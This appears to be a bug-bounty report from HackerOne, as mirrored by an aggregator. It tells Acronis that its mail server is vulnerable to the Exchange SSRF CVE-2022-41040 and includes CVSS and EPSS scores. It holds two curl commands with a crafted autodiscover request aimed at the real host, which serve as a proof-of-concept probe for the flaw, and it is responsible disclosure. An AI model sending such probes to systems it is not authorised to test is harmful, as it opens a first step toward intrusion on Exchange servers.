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hackeroneBbece5b1ea2cbb33d0690adH1:1719719
HistoryOct 02, 2022 - 8:47 a.m.

Acronis: mail.acronis.com is vulnerable to zero day vulnerability CVE-2022-41040

2022-10-0208:47:22
bbece5b1ea2cbb33d0690ad
hackerone.com
$1000
50

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

0.957 High

EPSS

Percentile

99.1%

Hello Acronis team,

Please run

curl -ksL -m5 -o /dev/null -I -w “%{http_code}” “https://mail.acronis.com/autodiscover/autodiscover.json?Email=autodiscover/[email protected]&Protocol=ActiveSync
curl -ksL -m5 “https://mail.acronis.com/autodiscover/autodiscover.json?Email=autodiscover/[email protected]&Protocol=ActiveSync” | grep Protocol

and get following output

404 and {“Protocol”:“ActiveSync”,“Url”:“https://eas.outlook.com/Microsoft-Server-ActiveSync”}

Proving that mail.acronis.com is vulnerable to CVE-2022-41040

Poc video attached

Impact

SSRF can be used to for unauthorized actions or access to confidential data.

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

0.957 High

EPSS

Percentile

99.1%